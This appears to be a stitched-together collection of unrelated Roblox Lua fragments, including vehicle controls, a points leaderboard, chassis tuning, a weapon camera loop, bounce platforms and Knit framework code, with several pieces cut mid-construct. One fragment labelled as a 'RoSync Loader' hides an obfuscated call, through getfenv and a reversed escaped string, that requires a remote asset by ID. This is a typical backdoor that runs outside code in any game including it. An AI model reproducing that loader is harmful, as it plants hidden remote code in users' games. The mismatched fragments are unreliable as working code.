elseif value.ClassName == "ValueObject" then
return function(result)
value.Value = result
end
end
end
return nil
end
|
-- Initialization
|
local MapPurgeProof = workspace:FindFirstChild('MapPurgeProof')
if not MapPurgeProof then
MapPurgeProof = Instance.new('Folder')
MapPurgeProof.Parent = workspace
MapPurgeProof.Name = 'MapPurgeProof'
end
|
--Made by Repressed_Memories
-- Edited by Truenus
|
local component = script.Parent.Parent
local car = script.Parent.Parent.Parent.Parent.Car.Value
local mouse = game.Players.LocalPlayer:GetMouse()
local leftsignal = "z"
local rightsignal = "c"
local hazards = "x"
local hazardson = false
local lefton = false
local righton = false
local leftlight = car.Body.Lights.Left.TurnSignal.TSL
local rightlight = car.Body.Lights.Right.TurnSignal.TSL
local leftfront = car.Body.Lights.Left.TurnSignal
local rightfront = car.Body.Lights.Right.TurnSignal
local signalblinktime = 0.32
local neonleft = car.Body.Lights.Left.TurnSignal2
local neonright = car.Body.Lights.Right.TurnSignal2
local off = BrickColor.New("Mid ray")
local on = BrickColor.New("New Yeller")
mouse.KeyDown:connect(function(lkey)
local key = string.lower(lkey)
if key == leftsignal then
if lefton == false then
lefton = true
repeat
neonleft.BrickColor = on
leftfront.BrickColor = on
leftlight.Enabled = true
neonleft.Material = "Neon"
leftfront.Material = "Neon"
component.TurnSignal:play()
wait(signalblinktime)
leftfront.BrickColor = off
neonleft.BrickColor = off
component.TurnSignal:play()
neonleft.Material = "SmoothPlastic"
leftfront.Material = "SmoothPlastic"
leftlight.Enabled = false
wait(signalblinktime)
until
lefton == false or righton == true
elseif lefton == true or righton == true then
lefton = false
component.TurnSignal:stop()
leftlight.Enabled = false
end
elseif key == rightsignal then
if righton == false then
righton = true
repeat
neonright.BrickColor = on
rightfront.BrickColor = on
rightlight.Enabled = true
neonright.Material = "Neon"
rightfront.Material = "Neon"
component.TurnSignal:play()
wait(signalblinktime)
rightfront.BrickColor = off
neonright.BrickColor = off
component.TurnSignal:play()
neonright.Material = "SmoothPlastic"
rightfront.Material = "SmoothPlastic"
rightlight.Enabled = false
wait(signalblinktime)
until
righton == false or lefton == true
elseif righton == true or lefton == true then
righton = false
component.TurnSignal:stop()
rightlight.Enabled = false
end
elseif key == hazards then
if hazardson == false then
hazardson = true
repeat
neonright.BrickColor = on
neonleft.BrickColor = on
leftfront.BrickColor = on
rightfront.BrickColor = on
neonright.Material = "Neon"
rightfront.Material = "Neon"
neonleft.Material = "Neon"
leftfront.Material = "Neon"
component.TurnSignal:play()
rightlight.Enabled = true
leftlight.Enabled = true
wait(signalblinktime)
leftfront.BrickColor = off
rightfront.BrickColor = off
neonright.BrickColor = off
neonleft.BrickColor = off
component.TurnSignal:play()
neonright.Material = "SmoothPlastic"
rightfront.Material = "SmoothPlastic"
neonleft.Material = "SmoothPlastic"
leftfront.Material = "SmoothPlastic"
rightlight.Enabled = false
leftlight.Enabled = false
wait(signalblinktime)
until
hazardson == false
elseif hazardson == true then
hazardson = false
component.TurnSignal:stop()
rightlight.Enabled = false
leftlight.Enabled = false
end
end
end)
|
--[=[
@within TableUtil
@function Shuffle
@param tbl table
@param rngOverride Random?
@return table
Shuffles the table.
```lua
local t = {1, 2, 3, 4, 5, 6, 7, 8, 9}
local shuffled = TableUtil.Shuffle(t)
print(shuffled) --> e.g. {9, 4, 6, 7, 3, 1, 5, 8, 2}
```
:::note Arrays only
This function works on arrays, but not dictionaries.
]=]
|
local function Shuffle<T>(tbl: { T }, rngOverride: Random?): { T }
assert(type(tbl) == "table", "First argument must be a table")
local shuffled = table.clone(tbl)
local random = if typeof(rngOverride) == "Random" then rngOverride else rng
for i = #tbl, 2, -1 do
local j = random:NextInteger(1, i)
shuffled[i], shuffled[j] = shuffled[j], shuffled[i]
end
return shuffled
end
|
-- Requires - Module Functions
|
ClientSceneFramework.AnchorClientForSceneTransitionModule = require(script.AnchorClientForSceneTransitionModule)
ClientSceneFramework.UnloadSceneClientRemoteEventModule = require(script.UnloadSceneClientRemoteEventModule)
ClientSceneFramework.LoadSceneRemoteEventModule = require(script.LoadSceneRemoteEventModule)
ClientSceneFramework.GetCurrentSceneEnvironmentModule = require(script.GetCurrentSceneEnvironmentModule)
ClientSceneFramework.InitModule = require(script.InitModule)
local Orchestra = script.Parent
|
--[[ Last synced 7/21/2021 01:44 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--[=[
To work like value objects in Roblox and track a single item,
with `.Changed` events
@class ValueObject
]=]
|
local require = require(script.Parent.loader).load(script)
local Signal = require("Signal")
local Maid = require("Maid")
local Observable = require("Observable")
local ValueObject = {}
ValueObject.ClassName = "ValueObject"
|
--Get the data store with key "Leaderboard"
|
wait(10)
while true do
for i,plr in pairs(game.Players:GetChildren()) do--Loop through players
if plr.UserId>0 then--Prevent errors
local ps = game:GetService("PointsService")--PointsService
local w = ps:GetGamePointBalance(plr.UserId)--Get point balance
if w then
pcall(function()
--Wrap in a pcall so if Roblox is down, it won't error and break.
dataStore:UpdateAsync(plr.UserId,function(oldVal)
--Set new value
return tonumber(w)
end)
end)
end
end
end
local smallestFirst = false--false = 2 before 1, true = 1 before 2
local numberToShow = 100--Any number between 1-100, how many will be shown
local minValue = 1--Any numbers lower than this will be excluded
local maxValue = 10e30--(10^30), any numbers higher than this will be excluded
local pages = dataStore:GetSortedAsync(smallestFirst, numberToShow, minValue, maxValue)
--Get data
local top = pages:GetCurrentPage()--Get the first page
local data = {}--Store new data
for a,b in ipairs(top) do--Loop through data
local userid = b.key--User id
local points = b.value--Points
local username = "[Failed To Load]"--If it fails, we let them know
local s,e = pcall(function()
username = game.Players:GetNameFromUserIdAsync(userid)--Get username
end)
if not s then--Something went wrong
warn("Error getting name for "..userid..". Error: "..e)
end
local image = game.Players:GetUserThumbnailAsync(userid, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size150x150)
--Make a image of them
table.insert(data,{username,points,image})--Put new data in new table
end
ui.Parent = script
sf:ClearAllChildren()--Remove old frames
ui.Parent = sf
for number,d in pairs(data) do--Loop through our new data
local name = d[1]
local val = d[2]
local image = d[3]
local color = Color3.new(1,1,1)--Default color
if number == 1 then
color = Color3.new(1,1,0)--1st place color
elseif number == 2 then
color = Color3.new(0.9,0.9,0.9)--2nd place color
elseif number == 3 then
color = Color3.fromRGB(166, 112, 0)--3rd place color
end
local new = sample:Clone()--Make a clone of the sample frame
new.Name = name--Set name for better recognition and debugging
new.LayoutOrder = number--UIListLayout uses this to sort in the correct order
new.Image.Image = image--Set the image
new.Image.Place.Text = number--Set the place
new.Image.Place.TextColor3 = color--Set the place color (Gold = 1st)
new.PName.Text = name--Set the username
new.Value.Text = val--Set the amount of points
new.Value.TextColor3 = color--Set the place color (Gold = 1st)
new.PName.TextColor3 = color--Set the place color (Gold = 1st)
new.Parent = sf--Parent to scrolling frame
end
wait()
sf.CanvasSize = UDim2.new(0,0,0,ui.AbsoluteContentSize.Y)
--Give enough room for the frames to sit in
wait(60)
end
|
-------------------------
|
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "a" then
a = true
elseif key == "d" then
d = true
elseif key == "w" then
w = true
rwd.Throttle = 1
rwd.Torque = tq
lwd.Throttle = 1
lwd.Torque = ftq
rrwd.Throttle = 1
rrwd.Torque = ftq
rwd.MaxSpeed = 136
lwd.MaxSpeed = 136
rrwd.MaxSpeed = 136
carSeat.Throttle = 1
carSeat.Torque = 0
elseif key == "s" then
s = true
carSeat.Throttle = 0
carSeat.Torque = 0
rwd.Throttle = -1
rwd.Torque = brk
lwd.Throttle = -1
lwd.Torque = brk
rrwd.Throttle = -1
rrwd.Torque = brk
rwd.MaxSpeed = 25
lwd.MaxSpeed = 25
rrwd.MaxSpeed = 25
end
end)
mouse.KeyUp:connect(function (key)
key = string.lower(key)
if key == "a" then
print("a up")
if d == false then
m.DesiredAngle = 0
n.DesiredAngle = m.DesiredAngle
end
elseif key == "d" then
print("d up")
if a == false then
m.DesiredAngle = 0
n.DesiredAngle = m.DesiredAngle
end
end
a = false
d = false
end)
mouse.KeyUp:connect(function (key)
key = string.lower(key)
if key == "w" or key == "s" then
rwd.Throttle = 0
rwd.Torque = 0
lwd.Throttle = 0
lwd.Torque = 0
rrwd.Throttle = 0
rrwd.Torque = 0
carSeat.Throttle = 0
carSeat.Torque = cst
end
end)
limitButton.MouseButton1Click:connect(function()
|
--Update RPM
|
local function RPM()
--Neutral Gear
if _CGear==0 then _ClutchOn = false end
throt = script.Parent.Values.Throttle.Value
if game.Players.LocalPlayer.PlayerGui["A-Chassis Interface"].AC6_Stock_Gauges.SelfDrive:GetAttribute("Enabled") == false then
throt = _GThrot
end
--Car Is Off
local revMin = _Tune.IdleRPM
if not _IsOn then
revMin = 0
_CGear = 0
_ClutchOn = false
throt = _Tune.IdleThrottle/100
end
--Determine RPM
local maxSpin=0
for _,v in pairs(Drive) do
if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
end
if _ClutchOn then
local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)
local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
_RPM = _RPM*clutchP + aRPM*(1-clutchP)
else
if throt-(_Tune.IdleThrottle/100)>0 then
if _RPM>_Tune.Redline then
_RPM = _RPM-_Tune.RevBounce*2
else
_RPM = math.min(_RPM+_Tune.RevAccel*throt,_Tune.Redline+100)
end
else
_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
end
end
--Rev Limiter
_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])
if _RPM>_Tune.Redline then
if _CGear<#_Tune.Ratios-2 then
_RPM = _RPM-_Tune.RevBounce
else
_RPM = _RPM-_Tune.RevBounce*.5
end
end
end
|
--Even though on() looks usless, it NEEDS to be there. Please don't edit this. If you do, it WILL NOT work!
| |
--[[Weight and CG]]
|
Tune.Weight = 1500 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
--------LEFT DOOR --------
|
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.Lighting.flashcurrent.Value = "13"
|
--[[
Recalculates this Computed's cached value and dependencies.
Returns true if it changed, or false if it's identical.
]]
|
function class:update()
-- remove this object from its dependencies' dependent sets
for dependency in pairs(self.dependencySet) do
dependency.dependentSet[self] = nil
end
-- we need to create a new, empty dependency set to capture dependencies
-- into, but in case there's an error, we want to restore our old set of
-- dependencies. by using this table-swapping solution, we can avoid the
-- overhead of allocating new tables each update.
self._oldDependencySet, self.dependencySet = self.dependencySet, self._oldDependencySet
table.clear(self.dependencySet)
local ok, newValue = captureDependencies(self.dependencySet, self._callback)
if ok then
local oldValue = self._value
self._value = newValue
-- add this object to the dependencies' dependent sets
for dependency in pairs(self.dependencySet) do
dependency.dependentSet[self] = true
end
return oldValue ~= newValue
else
-- this needs to be non-fatal, because otherwise it'd disrupt the
-- update process
logErrorNonFatal("computedCallbackError", newValue)
-- restore old dependencies, because the new dependencies may be corrupt
self._oldDependencySet, self.dependencySet = self.dependencySet, self._oldDependencySet
-- restore this object in the dependencies' dependent sets
for dependency in pairs(self.dependencySet) do
dependency.dependentSet[self] = true
end
return false
end
end
local function Computed(callback: () -> any)
local self = setmetatable({
type = "State",
kind = "Computed",
dependencySet = {},
-- if we held strong references to the dependents, then they wouldn't be
-- able to get garbage collected when they fall out of scope
dependentSet = setmetatable({}, WEAK_KEYS_METATABLE),
_oldDependencySet = {},
_callback = callback,
_value = nil,
}, CLASS_METATABLE)
initDependency(self)
self:update()
return self
end
return Computed
|
--// Renders
|
L_70_:connect(function()
if L_14_ then
L_113_, L_114_ = L_113_ or 0, L_114_ or 0
if L_116_ == nil or L_115_ == nil then
L_116_ = L_26_.C0
L_115_ = L_26_.C1
end
local L_210_ = (math.sin(L_107_ * L_109_ / 2) * L_108_)
local L_211_ = (math.sin(L_107_ * L_109_) * L_108_)
local L_212_ = CFrame.new(L_210_, L_211_, 0.02)
if L_104_ then
L_107_ = L_107_ + .017
if L_21_.WalkAnimEnabled == true then
L_105_ = L_212_
else
L_105_ = CFrame.new()
end
else
L_107_ = 0
L_105_ = CFrame.new()
end
L_103_.t = Vector3.new(L_98_, L_99_, 0)
local L_213_ = L_103_.p
local L_214_ = L_213_.X / L_100_ * (L_41_ and L_102_ or L_101_)
local L_215_ = L_213_.Y / L_100_ * (L_41_ and L_102_ or L_101_)
if L_41_ then
L_94_ = CFrame.Angles(math.rad(-L_214_), math.rad(L_214_), math.rad(L_215_)) * CFrame.fromAxisAngle(Vector3.new(5, 0, -1), math.rad(L_214_))
elseif not L_41_ then
L_94_ = CFrame.Angles(math.rad(-L_215_), math.rad(-L_214_), math.rad(-L_214_)) * CFrame.fromAxisAngle(L_25_.Position, math.rad(-L_215_))
end
if L_21_.SwayEnabled == true then
L_26_.C0 = L_26_.C0:lerp(L_116_ * L_94_ * L_105_, 0.1)
else
L_26_.C0 = L_26_.C0:lerp(L_116_ * L_105_, 0.1)
end
if L_44_ and not L_47_ and L_49_ and not L_41_ and not L_43_ and not Shooting then
L_26_.C1 = L_26_.C1:lerp(L_26_.C0 * L_21_.SprintPos, 0.1)
elseif not L_44_ and not L_47_ and not L_49_ and not L_41_ and not L_43_ and not Shooting then
L_26_.C1 = L_26_.C1:lerp(CFrame.new(), 0.1)
end
if L_41_ and not L_44_ then
L_57_ = L_21_.AimCamRecoil
L_56_ = L_21_.AimGunRecoil
L_58_ = L_21_.AimKickback
if (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 then
L_26_.C1 = L_26_.C1:lerp(L_26_.C0 * CFrame.new(L_91_.position), 0.12)
L_23_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = true
L_23_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_32_
L_71_.MouseDeltaSensitivity = L_32_
end
elseif not L_41_ and not L_44_ and L_14_ then
if (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 then
L_26_.C1 = L_26_.C1:lerp(CFrame.new(L_91_.position) * L_92_, 0.1)
L_23_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = false
L_23_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_32_
L_71_.MouseDeltaSensitivity = L_33_
end
end
if Recoiling then
L_5_.CoordinateFrame = L_5_.CoordinateFrame * CFrame.fromEulerAnglesXYZ(math.rad(L_57_ * math.random(0, 3)), math.rad(L_57_ * math.random(-1, 1)), math.rad(L_57_ * math.random(-1, 1)))
L_26_.C0 = L_26_.C0:lerp(L_26_.C0 * CFrame.new(0, 0, L_56_) * CFrame.Angles(-math.rad(L_58_), 0, 0), 0.3)
elseif not Recoiling then
L_26_.C0 = L_26_.C0:lerp(CFrame.new(), 0.2)
end
if L_42_ then
L_3_:WaitForChild('Humanoid').Jump = false
end
if L_14_ then
L_5_.FieldOfView = L_5_.FieldOfView * (1 - L_21_.ZoomSpeed) + (L_64_ * L_21_.ZoomSpeed)
if (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude >= 2 then
L_57_ = L_21_.AimCamRecoil
L_56_ = L_21_.AimGunRecoil
L_58_ = L_21_.AimKickback
L_23_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = true
L_23_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_32_
L_71_.MouseDeltaSensitivity = L_32_
elseif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 and not L_41_ then
L_57_ = L_21_.camrecoil
L_56_ = L_21_.gunrecoil
L_58_ = L_21_.Kickback
L_23_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = false
L_23_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_32_
L_71_.MouseDeltaSensitivity = L_33_
end
end
if L_14_ then --and (char.Head.Position - cam.CoordinateFrame.p).magnitude < 2 then
L_4_.TargetFilter = game.Workspace
local L_216_ = L_3_:WaitForChild("HumanoidRootPart").CFrame * CFrame.new(0, 1.5, 0) * CFrame.new(L_3_:WaitForChild("Humanoid").CameraOffset)
L_29_.C0 = L_8_.CFrame:toObjectSpace(L_216_)
L_29_.C1 = CFrame.Angles(-math.asin((L_4_.Hit.p - L_4_.Origin.p).unit.y), 0, 0)
L_71_.MouseIconEnabled = false
end
if L_14_ and (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude >= 2 then
L_4_.Icon = "http://www.roblox.com/asset?id=" .. L_21_.TPSMouseIcon
L_71_.MouseIconEnabled = true
if L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then
L_3_['Right Arm'].LocalTransparencyModifier = 1
L_3_['Left Arm'].LocalTransparencyModifier = 1
end
end;
end
end)
|
--[[ How to use BouncePlatforms
LocalScript:
BouncePlatforms.new(part, {
debounce = 0.2,
bounceVector = Vector3.new(0, 1, 0),
bounceForce = 2000,
})
BouncePlatforms:enable()
]]
|
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local CollectionService = game:GetService("CollectionService")
local BouncePlatform = require(script.BouncePlatform)
local BouncePlatformConstants = require(script.BouncePlatformConstants)
local BOUNCY_TAG = BouncePlatformConstants.BOUNCY_TAG
local DEBUG = false
local HIPHEIGHT_BUFFER = 2
local RAYCAST_DETECTION_OFFSETS = {
Vector2.new(-1, 0.5),
Vector2.new(0, 0.5),
Vector2.new(1, 0.5),
Vector2.new(0, 0),
Vector2.new(-1, -0.5),
Vector2.new(0, -0.5),
Vector2.new(1, -0.5),
}
local player = Players.LocalPlayer
local function _assert(part)
assert(part ~= nil, "Part expected got nil")
assert(typeof(part) == "Instance", "expected Instance got " .. typeof(part))
assert(part.ClassName == "MeshPart" or part.ClassName == "Part", "expected MeshPart or Part got " .. part.ClassName)
end
local function getModelMass(model)
local totalMass = 0
for _, basepart in pairs(model:GetDescendants()) do
if basepart:IsA("BasePart") then
totalMass += basepart:GetMass()
end
end
return totalMass
end
local BouncePlatforms = {
ActiveBouncePlatforms = {},
}
function BouncePlatforms.new(part, config)
_assert(part)
local bouncePlatform = BouncePlatform.new(part, config)
BouncePlatforms.ActiveBouncePlatforms[bouncePlatform.platform] = bouncePlatform
if DEBUG then
bouncePlatform:_debug(bouncePlatform)
end
return bouncePlatform
end
function BouncePlatforms:_detect(raycastParams, length)
local raycastResults = {}
local lookVector = player.Character.PrimaryPart.CFrame.LookVector
local rightVector = player.Character.PrimaryPart.CFrame.RightVector
for _, cell in pairs(RAYCAST_DETECTION_OFFSETS) do
local offsetX = rightVector * cell.X
local offsetZ = lookVector * cell.Y
local origin = (player.Character.PrimaryPart.Position + offsetZ + offsetX)
local raycastResult = workspace:Raycast(origin, Vector3.new(0, -length, 0), raycastParams)
if raycastResult and raycastResult.Instance then
table.insert(raycastResults, raycastResult)
end
end
return raycastResults
end
function BouncePlatforms:_checkForBouncePlatforms()
if not player.Character then
return
end
if not player.Character.PrimaryPart then
return
end
local humanoid = player.Character:FindFirstChildOfClass("Humanoid")
if not humanoid then
return
end
local length = humanoid.HipHeight + HIPHEIGHT_BUFFER
local raycastParams = RaycastParams.new()
raycastParams.FilterDescendantsInstances = CollectionService:GetTagged(BOUNCY_TAG)
raycastParams.FilterType = Enum.RaycastFilterType.Whitelist
local raycastResults = BouncePlatforms:_detect(raycastParams, length)
for _, raycastResult in pairs(raycastResults) do
local platformInstance = raycastResult.Instance
local bouncePlatform = BouncePlatforms:getBouncePlatformFromInstance(platformInstance)
if not bouncePlatform or (bouncePlatform and not bouncePlatform.enabled) then
return
end
local currentTime = os.clock()
if currentTime - bouncePlatform.lastBouncedAt >= bouncePlatform.debounce then
bouncePlatform.lastBouncedAt = currentTime
player.Character.PrimaryPart.Velocity = Vector3.new(0, 0, 0)
local momentum = bouncePlatform.bounceVector * bouncePlatform.bounceForce * player.Character.PrimaryPart.AssemblyMass
player.Character.PrimaryPart:ApplyImpulse(momentum)
bouncePlatform:_onBounced()
return
end
end
end
function BouncePlatforms:enable()
if BouncePlatforms.HeartbeatConnection then
BouncePlatforms:disable()
end
BouncePlatforms.HeartbeatConnection = RunService.Heartbeat:Connect(function()
BouncePlatforms:_checkForBouncePlatforms()
end)
end
function BouncePlatforms:disable()
if BouncePlatforms.HeartbeatConnection then
BouncePlatforms.HeartbeatConnection:Disconnect()
BouncePlatforms.HeartbeatConnection = nil
end
end
function BouncePlatforms:getBouncePlatformFromInstance(platform)
return BouncePlatforms.ActiveBouncePlatforms[platform]
end
function BouncePlatforms:getActiveBouncePlatforms()
return BouncePlatforms.ActiveBouncePlatforms
end
return BouncePlatforms
|
-- Create component
|
local Component = Cheer.CreateComponent('Tooltip', View);
local Connections = {};
function Component.Start(Text)
-- Hide the view
View.Visible = false;
-- Set the tooltip text
View.Text = Text;
-- Show the tooltip on hover
Connections.ShowOnEnter = Support.AddGuiInputListener(View.Parent, 'Began', 'MouseMovement', true, Component.Show);
Connections.HideOnLeave = Support.AddGuiInputListener(View.Parent, 'Ended', 'MouseMovement', true, Component.Hide);
-- Clear connections when the component is removed
Cheer.Bind(Component.OnRemove, ClearConnections);
-- Return component for chaining
return Component;
end;
function Component.Show()
View.Size = UDim2.new(0, View.TextBounds.X + 10, 0, View.TextBounds.Y + 10);
View.Position = UDim2.new(0.5, -View.AbsoluteSize.X / 2, 1, 3);
View.Visible = true;
end;
function Component.Hide()
View.Visible = false;
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:disconnect();
Connections[ConnectionKey] = nil;
end;
end;
return Component;
|
-- General variables
|
local ThisTool = script.Parent.Parent
local MainScript = ThisTool:WaitForChild("Main")
local SegwayController = MainScript:WaitForChild("SegwayController")
local ToolStatus = ThisTool:WaitForChild("ToolStatus")
local Wings = {"Left Wing","Right Wing"}
|
---- IconMap ----
-- Image size: 256px x 256px
-- Icon size: 16px x 16px
-- Padding between each icon: 2px
-- Padding around image edge: 1px
-- Total icons: 14 x 14 (196)
|
local Icon do
local iconMap = 'http://www.roblox.com/asset/?id=' .. MAP_ID
game:GetService('ContentProvider'):Preload(iconMap)
local iconDehash do
-- 14 x 14, 0-based input, 0-based output
local f=math.floor
function iconDehash(h)
return f(h/14%14),f(h%14)
end
end
function Icon(IconFrame,index)
local row,col = iconDehash(index)
local mapSize = Vector2.new(256,256)
local pad,border = 2,1
local iconSize = 16
local class = 'Frame'
if type(IconFrame) == 'string' then
class = IconFrame
IconFrame = nil
end
if not IconFrame then
IconFrame = Create(class,{
Name = "Icon";
BackgroundTransparency = 1;
ClipsDescendants = true;
Create('ImageLabel',{
Name = "IconMap";
Active = false;
BackgroundTransparency = 1;
Image = iconMap;
Size = UDim2.new(mapSize.x/iconSize,0,mapSize.y/iconSize,0);
});
})
end
IconFrame.IconMap.Position = UDim2.new(-col - (pad*(col+1) + border)/iconSize,0,-row - (pad*(row+1) + border)/iconSize,0)
return IconFrame
end
end
|
--// # key, ally
|
mouse.KeyDown:connect(function(key)
if key=="]" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.Remotes.AllyEvent:FireServer(true)
end
end)
|
--- Emulates tabstops with spaces
|
function Util.EmulateTabstops(text, tabWidth)
local result = ""
for i = 1, #text do
local char = text:sub(i, i)
result = result .. (char == "\t" and string.rep(" ", tabWidth - #result % tabWidth) or char)
end
return result
end
function Util.Mutex()
local queue = {}
local locked = false
return function ()
if locked then
table.insert(queue, coroutine.running())
coroutine.yield()
else
locked = true
end
return function()
if #queue > 0 then
coroutine.resume(table.remove(queue, 1))
else
locked = false
end
end
end
end
return Util
|
--[=[
@return Promise
Starts Knit. Should only be called once per client.
```lua
Knit.Start():andThen(function()
print("Knit started!")
end):catch(warn)
```
By default, service methods exposed to the client will return promises.
To change this behavior, set the `ServicePromises` option to `false`:
```lua
Knit.Start({ServicePromises = false}):andThen(function()
print("Knit started!")
end):catch(warn)
```
]=]
|
function KnitClient.Start(options: KnitOptions?)
if started then
return Promise.reject("Knit already started")
end
started = true
if options == nil then
selectedOptions = defaultOptions
else
assert(typeof(options) == "table", "KnitOptions should be a table or nil; got " .. typeof(options))
selectedOptions = options
for k,v in pairs(defaultOptions) do
if selectedOptions[k] == nil then
selectedOptions[k] = v
end
end
end
if type(selectedOptions.PerServiceMiddleware) ~= "table" then
selectedOptions.PerServiceMiddleware = {}
end
return Promise.new(function(resolve)
-- Init:
local promisesStartControllers = {}
for _,controller in pairs(controllers) do
if type(controller.KnitInit) == "function" then
table.insert(promisesStartControllers, Promise.new(function(r)
debug.setmemorycategory(controller.Name)
controller:KnitInit()
r()
end))
end
end
resolve(Promise.all(promisesStartControllers))
end):andThen(function()
-- Start:
for _,controller in pairs(controllers) do
if type(controller.KnitStart) == "function" then
task.spawn(function()
debug.setmemorycategory(controller.Name)
controller:KnitStart()
end)
end
end
startedComplete = true
onStartedComplete:Fire()
task.defer(function()
onStartedComplete:Destroy()
end)
end)
end
|
--- Solve direction and length of the ray by comparing current and last frame's positions
-- @param point type
|
function solver:Solve(point: {[string]: any}): (Vector3, Vector3)
--- If LastPosition is nil (caused by if the hitbox was stopped previously), rewrite its value to the current point position
if not point.LastPosition then
point.LastPosition = point.Instances[1].WorldPosition
end
local origin: Vector3 = point.Instances[1].WorldPosition
local direction: Vector3 = point.Instances[1].WorldPosition - point.LastPosition
return origin, direction
end
function solver:UpdateToNextPosition(point: {[string]: any}): Vector3
return point.Instances[1].WorldPosition
end
function solver:Visualize(point: {[string]: any}): CFrame
return CFrame.lookAt(point.Instances[1].WorldPosition, point.LastPosition)
end
return solver
|
--[[
Novena Constraint Type: Motorcycle
The Bike Chassis
SecondLogic | Inspare (thanks!)
Avxnturador | Novena
--]]
|
local autoscaling = true --Estimates top speed
local UNITS = { --Click on speed to change units
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 370 ,
spInc = 40 , -- Increment between labelled notches
},
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 230 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "SPS" ,
scaling = 1 , -- Roblox standard
maxSpeed = 400 ,
spInc = 40 , -- Increment between labelled notches
}
}
|
----------------------------------------------------------------------------------------------------
------------------=[ Status UI ]=-------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,EnableStatusUI = false --- Don't disabled it...
,RunWalkSpeed = 22
,NormalWalkSpeed = 16
,SlowPaceWalkSpeed = 8
,CrouchWalkSpeed = 8
,ProneWalksSpeed = 4
,EnableHunger = false --- Hunger and Thirst system
,HungerWaitTime = 25
,CanDrown = true --- Welp.. That's it
,EnableStamina = true --- Weapon Sway based on stamina
,RunValue = 1 --- Stamina consumption
,StandRecover = .25 --- Stamina recovery while stading
,CrouchRecover = .5 --- Stamina recovery while crouching
